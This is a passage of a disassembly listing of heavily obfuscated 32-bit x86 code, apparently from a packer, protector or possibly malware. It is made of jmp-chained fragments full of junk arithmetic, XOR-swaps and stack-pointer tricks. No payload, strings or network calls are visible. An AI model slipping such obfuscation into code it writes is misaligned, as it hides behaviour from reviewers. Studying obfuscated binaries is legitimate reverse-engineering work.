loc_5B4DE7:				; CODE XREF: sub_5A55E5+7F1Cj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5B106A
; ---------------------------------------------------------------------------


loc_5B4DF5:				; CODE XREF: sub_5A55E5+6B48j
		inc	ebx
		neg	ebx
		sub	ebx, 1EB43FFDh
		jmp	loc_5ACC28
; ---------------------------------------------------------------------------


loc_5B4E03:				; CODE XREF: sub_5A55E5+7661j
		add	edi, 4
		sub	edi, 4
		jmp	loc_5B38A0
; ---------------------------------------------------------------------------


loc_5B4E14:				; CODE XREF: sub_5A55E5+4904j
		mov	esi, edx
		mov	edx, [esp+4Eh+var_50+2]
		add	esp, 4
		add	edx, esi
		mov	esi, [esp+4Ah+var_4A]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5BB08D
; ---------------------------------------------------------------------------


loc_5B4E2E:				; CODE XREF: sub_5A55E5+18FCBj
		pop	ebx
		neg	eax
		sub	eax, 1
		not	eax
		shl	eax, 3
		sub	eax, 18D12284h
		add	esi, eax
		pop	eax
		sub	esi, 4
		xchg	esi, [esp+46h+var_46]
		pop	esp
		jmp	loc_5BF3C1
; ---------------------------------------------------------------------------


loc_5B4E4F:				; CODE XREF: sub_5A55E5+134E5j
		push	ebp
		push	ecx
		mov	ecx, 1A1079FCh
		mov	ebp, 0E5EF8608h
		add	ebp, ecx
		pop	ecx
		add	ecx, ebp
		pop	ebp
		jmp	loc_5AEF07
; ---------------------------------------------------------------------------


loc_5B4E66:				; CODE XREF: sub_5A55E5+16312j
		mov	[esp+42h+var_42], edx
		push	[esp+42h+var_3E]
		mov	edx, [esp+46h+var_46]
		add	esp, 4
		pop	[esp+42h+var_42]
		not	edx
		xor	[esp+3Eh+var_3E], edx
		xor	edx, [esp+3Eh+var_3E]
		xor	[esp+3Eh+var_3E], edx
		jmp	loc_5BABA3
; ---------------------------------------------------------------------------


loc_5B4E89:				; CODE XREF: sub_5A55E5+15D86j
		add	esi, 59F161D2h
		push	edx
		mov	edx, 9DBA8585h
		jmp	loc_5AE923
; ---------------------------------------------------------------------------


loc_5B4E9A:				; CODE XREF: sub_5A55E5+19E66j
		push	7D10h
		mov	[esp+46h+var_46], edi
		mov	edi, 66CA2FFCh
		push	esi
		jmp	loc_5BF105
; ---------------------------------------------------------------------------


loc_5B4EAD:				; CODE XREF: sub_5A55E5+C879j
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		sub	esp, 4
		mov	[esp+3Ah+var_3A], edi
		mov	edi, 51891E2Eh
		xor	edi, 58360C11h
		or	edi, 63D210FBh
		sub	edi, 6BFF12FBh
		mov	esi, edi
		pop	edi
		jmp	loc_5BD797
; ---------------------------------------------------------------------------


loc_5B4EDE:				; CODE XREF: sub_5A55E5+53F8j
		xchg	edi, [esp+0]
		pop	esp
		mov	[esp+1Ah+var_1C+2], edx
		push	eax
		mov	eax, 55402003h
		and	eax, 774961A1h
		add	eax, 148D4E3Eh
		or	eax, 11CF0A3Eh
		inc	eax
		xor	eax, 40CA5707h
		mov	edx, eax
		pop	eax
		push	3639h
		mov	[esp+0], eax
		mov	eax, edx
		mov	ecx, eax
		pop	eax
		push	[esp+1Ah+var_1C+2]
		pop	edx
		jmp	loc_5B87D8
; ---------------------------------------------------------------------------


loc_5B4F19:				; CODE XREF: sub_5A55E5+163FBj
		push	edx
		push	2
		pop	edx
		add	esi, 69B6034Ch
		add	esi, edx
		sub	esi, 69B6034Ch
		push	dword ptr [esp+0]
		pop	edx
		jmp	loc_5B6033
; ---------------------------------------------------------------------------


loc_5B4F37:				; CODE XREF: sub_5A55E5+8219j
		mov	ebp, 47C0B9Bh
		jmp	loc_5B55D7
; ---------------------------------------------------------------------------


loc_5B4F41:				; CODE XREF: sub_5A55E5+17818j
		sub	esi, ebx
		pop	ebx
		and	eax, esi
		jmp	loc_5B46B9
; ---------------------------------------------------------------------------


loc_5B4F4B:				; CODE XREF: sub_5A55E5+15D2Aj
		dec	edx
		xor	edx, 42BA6357h
		jmp	loc_5B0351
; ---------------------------------------------------------------------------


loc_5B4F57:				; CODE XREF: sub_5A55E5+153F3j
		add	esp, 4
		jmp	loc_5AB174
; ---------------------------------------------------------------------------


loc_5B4F5F:				; CODE XREF: sub_5A55E5+19375j
		pop	ebx
		jmp	loc_5BEBBA
; ---------------------------------------------------------------------------


loc_5B4F65:				; CODE XREF: sub_5A55E5+16201j
		mov	ecx, 7B836453h
		jmp	loc_5BE690
; ---------------------------------------------------------------------------


loc_5B4F6F:				; CODE XREF: sub_5A55E5+B60Dj
		not	esi
		jmp	loc_5AF502
; ---------------------------------------------------------------------------


loc_5B4F76:				; CODE XREF: sub_5A55E5+10D52j
		pop	esi
		mov	ebx, [esp+18h+var_18]
		add	esp, 4
		xchg	esi, ebp
		dec	ebp
		jmp	loc_5B55C8
; ---------------------------------------------------------------------------


loc_5B4F85:				; CODE XREF: sub_5A55E5+A794j
		mov	edx, 7F796A61h
		xor	edx, 5A1178Eh
		add	eax, edx
		jmp	loc_5B681B
; ---------------------------------------------------------------------------


loc_5B4F97:				; CODE XREF: sub_5A55E5+A551j
		mov	ecx, 4F1A1A3Ch
		or	ecx, 12C912C1h
		shl	ecx, 5
		add	ecx, 10A11B25h
		sub	edi, ecx
		pop	ecx
		add	edi, esi
		add	edi, 0C047AC5h
		mov	esi, [esp+1Ch+var_1C]
		jmp	loc_5AA670
; ---------------------------------------------------------------------------


loc_5B4FBE:				; CODE XREF: sub_5A55E5+8915j
		xor	[esp+14h+var_14], ebp
		xor	ebp, edi
		xor	edi, ebp
		xor	ebp, edi
		xor	edi, eax
		xor	eax, edi
		xor	edi, eax
		push	eax
		push	0B86h
		mov	[esp+1Ch+var_1C], eax
		push	[esp+1Ch+var_18]
		jmp	loc_5AA24A
; ---------------------------------------------------------------------------


loc_5B4FDF:				; CODE XREF: sub_5A55E5+AEA4j
		add	eax, ebx
		sub	esp, 4
		mov	[esp+56h+var_58+2], ebx
		push	esi
		jmp	loc_5B8B5B
; ---------------------------------------------------------------------------


loc_5B4FED:				; CODE XREF: sub_5A55E5+181D6j
		add	dh, 0CDh
		push	ecx
		mov	ch, 56h
		and	ch, 8Bh
		dec	ch
		jmp	loc_5BD7E3
; ---------------------------------------------------------------------------


loc_5B4FFD:				; CODE XREF: sub_5A55E5+DAF6j
		add	ebx, 634C6B9Ah
		sub	ebx, 4DC926E6h
		jmp	loc_5B1F0D
; ---------------------------------------------------------------------------


loc_5B500E:				; CODE XREF: sub_5A55E5+8A02j
		sub	esp, 4
		mov	[esp+20h+var_22+2], ecx
		push	[esp+20h+var_1C]
		jmp	loc_5BE8F5
; ---------------------------------------------------------------------------


loc_5B5020:				; CODE XREF: sub_5A55E5+1841Dj
		mov	bl, ah
		push	[esp+24h+var_26+2]
		pop	eax
		add	esp, 4
		jmp	loc_5AAB7C
; ---------------------------------------------------------------------------


loc_5B502E:				; CODE XREF: sub_5A55E5+1758Aj
		add	eax, 1B1A51CCh
		add	eax, 5FF56602h
		jmp	loc_5BD347
; ---------------------------------------------------------------------------


loc_5B503D:				; CODE XREF: sub_5A55E5+1211Ej
		mov	dl, 37h
		shr	dl, 2
		and	dl, 0C3h
		dec	dl
		sub	dl, 0A7h
		sub	dl, 69h
		jmp	loc_5B32AC
; ---------------------------------------------------------------------------


loc_5B5052:				; CODE XREF: sub_5A55E5+10B4Aj
		sub	ebx, 1
		add	ebx, 1
		sub	esp, 4
		mov	[esp+24h+var_26+2], ecx
		jmp	loc_5BC95E
; ---------------------------------------------------------------------------


loc_5B5069:				; CODE XREF: sub_5A55E5+EE75j
		pop	edx
		xor	esi, 9298C862h
		sub	eax, 45AE10DDh
		jmp	loc_5B21F2
; ---------------------------------------------------------------------------


loc_5B507A:				; CODE XREF: sub_5A55E5+19530j
		add	edx, eax
		jmp	loc_5BD1BA
; ---------------------------------------------------------------------------


loc_5B5081:				; CODE XREF: sub_5A55E5+A988j
		shl	dh, 2
		sub	esp, 2
		mov	word ptr [esp+48h+var_4A+2], ax
		mov	al, 91h
		sub	dh, al
		mov	ax, word ptr [esp+48h+var_4A+2]
		add	esp, 2
		sub	al, dh
		jmp	loc_5BD8D1
; ---------------------------------------------------------------------------


loc_5B509D:				; CODE XREF: sub_5A55E5+13736j
		pop	esp
		jmp	loc_5BCAF1
; ---------------------------------------------------------------------------


loc_5B50A3:				; CODE XREF: sub_5A55E5+CDC9j
		sub	esi, 4
		push	5053h
		mov	[esp+34h+var_36+2], esi
		jmp	loc_5BC060
; ---------------------------------------------------------------------------


loc_5B50B6:				; CODE XREF: sub_5A55E5+6297j
		mov	ch, dl
		jmp	loc_5AC150
; ---------------------------------------------------------------------------


loc_5B50BD:				; CODE XREF: sub_5A55E5+F05Bj
		sub	esi, 1A1011FCh
		mov	ebp, esi
		pop	esi
		sub	edx, ebp
		push	[esp+34h+var_36+2]
		pop	ebp
		add	esp, 4
		xor	edx, [esp+30h+var_32+2]
		xor	[esp+30h+var_32+2], edx
		jmp	loc_5BCAF9
; ---------------------------------------------------------------------------


loc_5B50DA:				; CODE XREF: sub_5A55E5+14A09j
		push	0
		pop	ebp
		sub	ebp, edi
		xchg	ebp, edi
		jmp	loc_5BB70F
; ---------------------------------------------------------------------------


loc_5B50E9:				; CODE XREF: sub_5A55E5+198DFj
		pop	ecx
		xor	ecx, ebx
		pop	ebx
		add	ebx, ecx
		jmp	loc_5B7882
; ---------------------------------------------------------------------------


loc_5B50F4:				; CODE XREF: sub_5A55E5+16709j
		xor	edx, 0B6DA8E10h
		jmp	loc_5B5772
; ---------------------------------------------------------------------------


loc_5B50FF:				; CODE XREF: sub_5A55E5+7E8Fj
		push	esp
		jmp	loc_5B8881
; ---------------------------------------------------------------------------


loc_5B5105:				; CODE XREF: sub_5A55E5+17006j
		sub	esi, 3C6C6492h
		add	esi, ebp
		add	esi, 3C6C6492h
		sub	esi, 67E1787Ch
		push	[esp+4Ah+var_4A]
		jmp	loc_5AAEA2
; ---------------------------------------------------------------------------


loc_5B5121:				; CODE XREF: sub_5A55E5+15315j
		xor	ebp, 6B8A4DA9h
		push	ecx
		mov	ecx, 0CA96ED9h
		sub	ecx, 636C0244h
		shr	ecx, 3
		sub	ecx, 1E92628Fh
		sub	ecx, 562464E4h
		sub	ecx, 1057697h
		jmp	loc_5B2187
; ---------------------------------------------------------------------------


loc_5B514D:				; CODE XREF: sub_5A55E5+11386j
		add	esi, 4
		jmp	loc_5AA39F
; ---------------------------------------------------------------------------


loc_5B5158:				; CODE XREF: sub_5A55E5+C2B4j
		push	ecx
		push	4BEC6AC2h
		pop	ecx
		shl	ecx, 4
		jmp	loc_5BA111
; ---------------------------------------------------------------------------


loc_5B5167:				; CODE XREF: sub_5A55E5+B864j
		add	edx, 0FFFFFFFFh
		push	ebx
		mov	ebx, 0FD43AA3Fh
		jmp	loc_5B97C0
; ---------------------------------------------------------------------------


loc_5B5175:				; CODE XREF: sub_5A55E5+17554j
		push	ebx
		mov	bl, dl
		jmp	loc_5AE6FE
; ---------------------------------------------------------------------------


loc_5B517D:				; CODE XREF: sub_5A55E5+756Aj
		sub	edx, 300D4E8Dh
		jmp	loc_5B8E05
; ---------------------------------------------------------------------------


loc_5B5188:				; CODE XREF: sub_5A55E5+12CE5j
		mov	eax, 42163EA9h
		neg	eax
		xor	eax, 5E2C4929h
		add	eax, 1C3A7786h
		add	ebx, eax
		jmp	loc_5B1023
; ---------------------------------------------------------------------------


loc_5B51A0:				; CODE XREF: sub_5A55E5+F6C9j
		sub	esp, 4
		jmp	loc_5B85A9
; ---------------------------------------------------------------------------


loc_5B51AB:				; CODE XREF: sub_5A55E5+8F15j
		pop	edx
		jmp	loc_5AE831
; ---------------------------------------------------------------------------


loc_5B51B1:				; CODE XREF: sub_5A55E5+19329j
		mov	[esp+56h+var_58+2], ecx
		push	esp
		mov	ecx, [esp+5Ah+var_5C+2]
		jmp	loc_5A9A3D
; ---------------------------------------------------------------------------


loc_5B51BD:				; CODE XREF: sub_5A55E5+189C0j
		mov	edi, 22453D74h
		xor	ebp, edi
		pop	edi
		pop	ecx
		jmp	loc_5AF196
; ---------------------------------------------------------------------------


loc_5B51CB:				; CODE XREF: sub_5A55E5+16B99j
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		xor	eax, [esp+4Eh+var_50+2]
		xor	[esp+4Eh+var_50+2], eax
		xor	eax, [esp+4Eh+var_50+2]
		pop	esp
		push	ebp
		mov	ebp, 4A71475Fh
		inc	ebp
		shr	ebp, 8
		xor	ebp, 0FFB58EB8h
		sub	esi, ebp
		jmp	loc_5BD3FD
; ---------------------------------------------------------------------------


loc_5B51F4:				; CODE XREF: sub_5A55E5+133AFj
		add	edi, ebp
		pop	ebp
		jmp	loc_5AFDEC
; ---------------------------------------------------------------------------


loc_5B51FC:				; CODE XREF: sub_5A55E5+EF12j
		mov	ecx, 0DF82CBFh
		shl	ecx, 1
		not	ecx
		shl	ecx, 4
		and	ecx, 713A775Eh
		jmp	loc_5B9AD3
; ---------------------------------------------------------------------------


loc_5B5213:				; CODE XREF: sub_5A55E5+AE33j
		push	[esp+46h+var_46]
		jmp	loc_5B93A2
; ---------------------------------------------------------------------------


loc_5B521B:				; CODE XREF: sub_5A55E5+FD32j
		mov	edx, 24F562F8h
		jmp	loc_5AA8D5
; ---------------------------------------------------------------------------


loc_5B5225:				; CODE XREF: sub_5A55E5+CCE4j
		add	edx, ebx
		add	edx, 50715E15h
		jmp	loc_5BB4E5
; ---------------------------------------------------------------------------


loc_5B5232:				; CODE XREF: sub_5A55E5+8131j
		not	byte ptr [esp+28h+var_2A+2]
		mov	cx, word ptr [esp+28h+var_2A+2]
		add	esp, 2
		not	cl
		jmp	loc_5B7473
; ---------------------------------------------------------------------------


loc_5B5243:				; CODE XREF: sub_5A55E5+7CB2j
		mov	esi, [esp+28h+var_2A+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5B8CFE
; ---------------------------------------------------------------------------


loc_5B5258:				; CODE XREF: sub_5A55E5+10409j
		push	dword ptr [eax]
		jmp	loc_5BAFB8
; ---------------------------------------------------------------------------


loc_5B525F:				; CODE XREF: sub_5A55E5+EB8Bj
		xchg	ebp, [esp+16h+var_18+2]
		mov	esp, [esp+16h+var_18+2]
		not	edx
		jmp	loc_5BB515
; ---------------------------------------------------------------------------


loc_5B526C:				; CODE XREF: sub_5A55E5+1948Fj
		push	ebp
		jmp	loc_5B2806
; ---------------------------------------------------------------------------


loc_5B5272:				; CODE XREF: sub_5A55E5+67CAj
		add	ebx, eax
		sub	ebx, 294C30C2h
		push	edi
		push	ecx
		push	21DD0D19h
		pop	ecx
		inc	ecx
		sub	ecx, 0DE90C5EAh
		mov	edi, ecx
		mov	ecx, [esp+2Ah+var_2A]
		add	esp, 4
		jmp	loc_5B2C3B
; ---------------------------------------------------------------------------


loc_5B5299:				; CODE XREF: sub_5A55E5+C769j
		add	esp, 4
		pop	[esp-0Ch+arg_8]
		pop	esp
		btc	word ptr [esp-14h+arg_C], ax
		pushf
		jmp	loc_5BB7EB
; ---------------------------------------------------------------------------


loc_5B52AB:				; CODE XREF: sub_5A55E5+F6E3j
		push	12A6h
		mov	[esp+4Eh+var_50+2], esp
		push	231Bh
		mov	[esp+52h+var_54+2], ebp
		mov	ebp, 4
		add	[esp+52h+var_50+2], ebp
		mov	ebp, [esp+52h+var_54+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5B36A8
; ---------------------------------------------------------------------------


loc_5B52D5:				; CODE XREF: sub_5A55E5+15DD3j
		push	esi
		jmp	loc_5BB9BD
; ---------------------------------------------------------------------------


loc_5B52DB:				; CODE XREF: sub_5A55E5+B361j
		mov	[esp+1Ch+var_1C], ecx
		mov	ecx, esp
		jmp	loc_5AA0B5
; ---------------------------------------------------------------------------


loc_5B52E5:				; CODE XREF: sub_5A55E5+DCDFj
		mov	[esp+34h+var_36+2], edx
		push	esi
		mov	esi, 3C037F7Eh
		push	eax
		mov	eax, 35CD123Fh
		and	esi, eax
		mov	eax, [esp+3Ch+var_3E+2]
		jmp	loc_5AEAAB
; ---------------------------------------------------------------------------


loc_5B52FE:				; CODE XREF: sub_5A55E5+1722Dj
		mov	ebx, [esp+3Ch+var_3E+2]
		push	edi
		mov	edi, esp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+44h+var_46+2]
		pop	esp
		mov	[esp+40h+var_42+2], edx
		jmp	loc_5B521B
; ---------------------------------------------------------------------------


loc_5B531C:				; CODE XREF: sub_5A55E5+17CA3j
		add	esi, 772B38ECh
		pop	ebp
		jmp	loc_5AE6C9
; ---------------------------------------------------------------------------


loc_5B5328:				; CODE XREF: sub_5A55E5+1727Bj
		mov	esi, [esp+3Ch+var_3E+2]
		jmp	loc_5AE322
; ---------------------------------------------------------------------------


loc_5B5330:				; DATA XREF: sub_5A55E5+4237o
		mov	cx, word ptr [esp+14h+var_14]
		push	ebp
		push	373h
		jmp	loc_5BAD48
; ---------------------------------------------------------------------------


loc_5B533F:				; CODE XREF: sub_5A55E5+4968j
		add	ebp, esi
		add	ebp, 3C5134FCh
		jmp	loc_5AC535
; ---------------------------------------------------------------------------


loc_5B534C:				; CODE XREF: sub_5A55E5+183E7j
		push	[esp+54h+var_54]
		pop	edx
		add	esp, 4
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_5B7CBF
		push	dword ptr [edi+28h]
		push	[esp+50h+var_50]
		push	[esp+54h+var_54]
		jmp	loc_5AF760
; ---------------------------------------------------------------------------


loc_5B536C:				; CODE XREF: sub_5A55E5+C63Bj
		xor	edx, esi
		xor	esi, edx
		xor	edx, esi
		push	esi
		mov	esi, 4D1A71E0h
		inc	esi
		xor	esi, 1CFE182Dh
		shr	esi, 4
		or	esi, 3B1644F2h
		add	esi, 0FFFFFFFFh
		add	esi, 0C683706Ah
		sub	edx, esi
		pop	esi
		jmp	loc_5ACB90
; ---------------------------------------------------------------------------


loc_5B539C:				; CODE XREF: sub_5A55E5+530Dj
		pop	edi
		shl	eax, 5
		xor	eax, 71C06827h
		dec	eax
		jmp	loc_5BACB7
; ---------------------------------------------------------------------------


loc_5B53AB:				; CODE XREF: sub_5A55E5+14377j
		xchg	ecx, [esp+22h+var_22]
		jmp	loc_5AC0CB
; ---------------------------------------------------------------------------


loc_5B53B3:				; CODE XREF: sub_5A55E5+147A6j
		mov	edi, 7BB840DAh
		add	eax, edi
		push	[esp+22h+var_22]
		mov	edi, [esp+26h+var_26]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5B8FB9
; ---------------------------------------------------------------------------


loc_5B53D4:				; CODE XREF: sub_5A55E5+A70Cj
		sub	edi, 2F382323h
		xor	eax, edi
		pop	edi
		mov	esi, eax
		pop	eax
		jmp	loc_5B9515
; ---------------------------------------------------------------------------


loc_5B53E5:				; CODE XREF: sub_5A55E5+174B9j
		pop	edx
		sub	eax, 6F834861h
		jmp	loc_5B0479
; ---------------------------------------------------------------------------


loc_5B53F0:				; CODE XREF: sub_5A55E5+ACEEj
		sub	ebx, 74430AC5h
		add	ebx, edi
		add	ebx, 74430AC5h
		sub	ebx, 6361702Bh
		push	0E35h
		jmp	loc_5BC62E
; ---------------------------------------------------------------------------


loc_5B540E:				; CODE XREF: sub_5A55E5+136CAj
		push	ebx
		mov	ebx, 336A6F2Ch
		inc	ebx
		jmp	loc_5AA4E4
; ---------------------------------------------------------------------------


loc_5B541A:				; CODE XREF: sub_5A55E5+197E9j
		xor	esi, 214A3D6Fh
		sub	esi, 51BE06E0h
		shl	esi, 5
		xor	esi, 82371E01h
		add	esi, 22E61B6h
		jmp	loc_5A9BC7
; ---------------------------------------------------------------------------


loc_5B543A:				; CODE XREF: sub_5A55E5+113E7j
		push	[esp+64h+var_64]
		jmp	loc_5B9038
; ---------------------------------------------------------------------------


loc_5B5442:				; CODE XREF: sub_5A55E5+6C81j
		push	3970h
		mov	[esp+20h+var_22+2], ebp
		push	[esp+20h+var_1C]
		jmp	loc_5BD63C
; ---------------------------------------------------------------------------
off_5B5453	dd offset dword_455248+7E20h ; DATA XREF: sub_5A55E5+4397o
		align 4
		sub	esp, 4
		mov	[esp+28h+var_2A+2], esp
		add	[esp+28h+var_2A+2], 4
		pop	[esp+28h+var_2A+2]
		push	192h
		jmp	loc_5BF197
; ---------------------------------------------------------------------------


loc_5B5472:				; CODE XREF: sub_5A55E5+13AA5j
		sub	eax, 1
		sub	eax, 72F3438Ah
		push	edx
		jmp	loc_5B8F37
; ---------------------------------------------------------------------------


loc_5B5482:				; CODE XREF: sub_5A55E5+140E3j
		push	ebp
		push	esi
		mov	esi, 5EE65B94h
		mov	ebp, 5B7EA9A0h
		sub	ebp, esi
		pop	esi
		sub	edx, ebp
		pop	ebp
		sub	eax, 523F64C0h
		sub	eax, edx
		add	eax, 523F64C0h
		mov	edx, [esp+2Ch+var_2E+2]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5ADE40
; ---------------------------------------------------------------------------


loc_5B54AE:				; CODE XREF: sub_5A55E5+5ACEj
		push	546Fh
		mov	[esp+38h+var_3A+2], esi
		push	1E4Fh
		mov	[esp+3Ch+var_3E+2], eax
		push	2DB24DAh
		pop	eax
		push	esi
		jmp	loc_5B0BE7
; ---------------------------------------------------------------------------


loc_5B54CA:				; CODE XREF: sub_5A55E5+1140Ej
		push	ebx
		mov	ebx, 741C41FEh
		sub	edi, ebx
		mov	ebx, [esp+44h+var_46+2]
		add	esp, 4
		sub	edi, 20805947h
		sub	edi, 7D1D74C5h
		add	edi, edx
		add	edi, 7D1D74C5h
		jmp	loc_5B136A
; ---------------------------------------------------------------------------


loc_5B54F1:				; CODE XREF: sub_5A55E5+18372j
		mov	ebp, 6DC6039h
		shl	ebp, 2
		sub	ebp, 7D0E6AA1h
		not	ebp
		xor	ebp, 32997994h
		jmp	loc_5BD571
; ---------------------------------------------------------------------------


loc_5B550C:				; CODE XREF: sub_5A55E5+621Cj
		neg	ebp
		neg	ebp
		xor	ebp, 598CEC1Ah
		jmp	loc_5B17D5
; ---------------------------------------------------------------------------


loc_5B551B:				; CODE XREF: sub_5A55E5+1021Fj
		mov	bh, 0E9h
		xor	bh, dl
		mov	edx, [esp+64h+var_64]
		add	esp, 4
		add	al, 11h
		sub	al, bh
		jmp	loc_5BF1E2
; ---------------------------------------------------------------------------


loc_5B552E:				; CODE XREF: sub_5A55E5+11A96j
		shl	edi, 5
		push	esi
		jmp	loc_5B3927
; ---------------------------------------------------------------------------


loc_5B5537:				; CODE XREF: sub_5A55E5+106A2j
		push	ebx
		push	eax
		mov	eax, 59484E23h
		push	eax
		mov	eax, 0EDA2DBDh
		push	eax
		xor	[esp+74h+var_74], 1B261905h
		pop	ebx
		xor	ebx, 1B261905h
		pop	eax
		xor	ebx, eax
		pop	eax
		not	ebx
		inc	ebx
		or	ebx, 4BDE75C0h
		push	ebp
		jmp	loc_5B3521
; ---------------------------------------------------------------------------


loc_5B5566:				; CODE XREF: sub_5A55E5+64E2j
		mov	[esp+38h+var_3A+2], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	100Ch
		mov	[esp+3Ch+var_3E+2], edi
		mov	edi, 44D15B88h
		push	ebp
		mov	ebp, 0FFFFFFFFh
		sub	edi, ebp
		pop	ebp
		add	edi, 6E4D269Bh
		add	edi, 251D1FBDh
		sub	edi, 0D83BA1DDh
		sub	ecx, 744D48A3h
		add	ecx, edi
		add	ecx, 744D48A3h
		pop	edi
		xchg	ecx, [esp+38h+var_3A+2]
		pop	esp
		sub	esp, 4
		mov	[esp+38h+var_3A+2], ecx
		push	684Fh
		mov	[esp+3Ch+var_3E+2], ebx
		push	eax
		push	345C3C13h
		jmp	loc_5B3013
; ---------------------------------------------------------------------------


loc_5B55C8:				; CODE XREF: sub_5A55E5+F99Bj
		push	eax
		push	edx
		jmp	loc_5BD690
; ---------------------------------------------------------------------------


loc_5B55CF:				; CODE XREF: sub_5A55E5+7CD6j
		mov	esi, [esp+2Ch+var_2E+2]
		jmp	loc_5B3766
; ---------------------------------------------------------------------------


loc_5B55D7:				; CODE XREF: sub_5A55E5+F957j
		sub	ebx, ebp
		pop	ebp
		or	eax, ebx
		pop	ebx
		inc	eax
		jmp	loc_5BC22D
; ---------------------------------------------------------------------------


loc_5B55E3:				; CODE XREF: sub_5A55E5+C8B5j
		shr	edx, 7
		jmp	loc_5B2298
; ---------------------------------------------------------------------------


loc_5B55EB:				; CODE XREF: sub_5A55E5+13F94j
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B55F0:				; CODE XREF: sub_5A55E5+575Fj
		push	eax
		mov	eax, 39576284h
		xor	esi, eax
		pop	eax
		add	edx, 70D870CAh
		add	edx, esi
		jmp	loc_5BE823
; ---------------------------------------------------------------------------


loc_5B5606:				; CODE XREF: sub_5A55E5+EEA0j
		push	3E3Bh
		mov	[esp+3Ah+var_3A], esp
		add	[esp+3Ah+var_3A], 4
		pop	ecx
		push	3FFh
		mov	[esp+3Ah+var_3A], edx
		mov	edx, 1DF76F34h
		inc	edx
		shl	edx, 4
		jmp	loc_5BF216
; ---------------------------------------------------------------------------


loc_5B562C:				; CODE XREF: sub_5A55E5+4D58j
		sub	ecx, 58453CC7h
		add	ecx, edi
		add	ecx, 58453CC7h
		pop	edi
		sub	esp, 4
		mov	[esp+40h+var_42+2], esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		jmp	loc_5B65B8
; ---------------------------------------------------------------------------


loc_5B564E:				; CODE XREF: sub_5A55E5+1748Dj
		xchg	edi, [esp+3Ch+var_3E+2]
		mov	esp, [esp+3Ch+var_3E+2]
		mov	ax, word ptr [esp+3Ch+var_3E+2]
		push	edx
		mov	edx, esp
		push	6B26h
		mov	[esp+44h+var_46+2], edi
		jmp	loc_5BEBA4
; ---------------------------------------------------------------------------


loc_5B5668:				; CODE XREF: sub_5A55E5+149DEj
		mov	[esp+44h+var_46+2], eax
		jmp	loc_5BA3B0
; ---------------------------------------------------------------------------


loc_5B5670:				; CODE XREF: sub_5A55E5+A83Fj
		mov	ebp, esp
		add	ebp, 4
		push	edi
		push	5EF022B2h
		pop	edi
		shr	edi, 1
		push	4580h
		mov	[esp+38h+var_3A+2], ebx
		jmp	loc_5ACB5C
; ---------------------------------------------------------------------------


loc_5B568E:				; CODE XREF: sub_5A55E5+15B3Ej
		mov	ebp, 60944B50h
		or	ebp, 61840ADh
		jmp	loc_5AC5F6
; ---------------------------------------------------------------------------


loc_5B569E:				; CODE XREF: sub_5A55E5+155B9j
		mov	dl, 5Eh
		mov	al, 40h
		add	al, 0E5h
		sub	al, 7Ch
		sub	al, dl
		add	al, 7Ch
		push	edx
		mov	dh, 15h
		dec	dh
		and	dh, 0B7h
		xor	dh, 47h
		add	dh, 1
		jmp	loc_5ABB17
; ---------------------------------------------------------------------------


loc_5B56BD:				; CODE XREF: sub_5A55E5+85E8j
		mov	edx, 79B74C93h
		and	edx, 4B265A35h
		xor	edx, 33840C96h
		jmp	loc_5B8D20
; ---------------------------------------------------------------------------


loc_5B56D3:				; CODE XREF: sub_5A55E5+7E27j
		sub	edx, 5148B5C5h
		add	eax, edx
		pop	edx
		add	eax, 6BB340FDh
		pop	ebx
		add	eax, 4
		xor	eax, [esp+14h+var_14]
		xor	[esp+14h+var_14], eax
		xor	eax, [esp+14h+var_14]
		jmp	loc_5AA219
; ---------------------------------------------------------------------------


loc_5B56F5:				; CODE XREF: sub_5A55E5+870Dj
		add	dh, bh
		jmp	loc_5BC26E
; ---------------------------------------------------------------------------


loc_5B56FC:				; CODE XREF: sub_5A55E5+459Ej
		push	5805h
		jmp	loc_5B9A0F
; ---------------------------------------------------------------------------


loc_5B5706:				; CODE XREF: sub_5A55E5+BDC9j
		add	esp, 4
		pop	ecx
		jmp	loc_5B498D
; ---------------------------------------------------------------------------


loc_5B5712:				; CODE XREF: sub_5A55E5+9E84j
		mov	ebx, 4
		sub	edx, ebx
		jmp	loc_5BEC51
; ---------------------------------------------------------------------------


loc_5B571E:				; CODE XREF: sub_5A55E5+14822j
		push	eax
		mov	eax, 685EA9h
		jmp	loc_5BC284
; ---------------------------------------------------------------------------


loc_5B5729:				; CODE XREF: sub_5A55E5+833Fj
		pop	edx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	edx
		push	4
		pop	edx
		sub	ebx, edx
		pop	edx
		push	ebx
		push	[esp+1Eh+var_1C+2]
		jmp	loc_5AF3F4
; ---------------------------------------------------------------------------


loc_5B5747:				; CODE XREF: sub_5A55E5+16BF2j
		or	ecx, 57C9246Dh
		add	ecx, 8665E4E7h
		mov	eax, ecx
		jmp	loc_5BE729
; ---------------------------------------------------------------------------


loc_5B575A:				; CODE XREF: sub_5A55E5+8EDBj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+18h+var_18]
		pop	esp
		add	edx, ebp
		pop	ebp
		add	edx, 4
		jmp	loc_5B4B1E
; ---------------------------------------------------------------------------


loc_5B5772:				; CODE XREF: sub_5A55E5+FB15j
		and	ebx, edx
		pop	edx
		push	ebp
		mov	ebp, 6BF64DCDh
		add	ebp, 0B5B622F9h
		jmp	loc_5BD359
; ---------------------------------------------------------------------------


loc_5B5786:				; CODE XREF: sub_5A55E5+14360j
		shr	edi, 2
		sub	edi, 1C479387h
		sub	esp, 4
		mov	[esp+2Ch+var_2E+2], edi
		push	esi
		mov	esi, 34B45BEBh
		sub	[esp+30h+var_2E+2], esi
		pop	esi
		pop	edx
		push	ebx
		mov	ebx, 34B45BEBh
		add	edx, 74384B86h
		add	edx, ebx
		sub	edx, 74384B86h
		pop	ebx
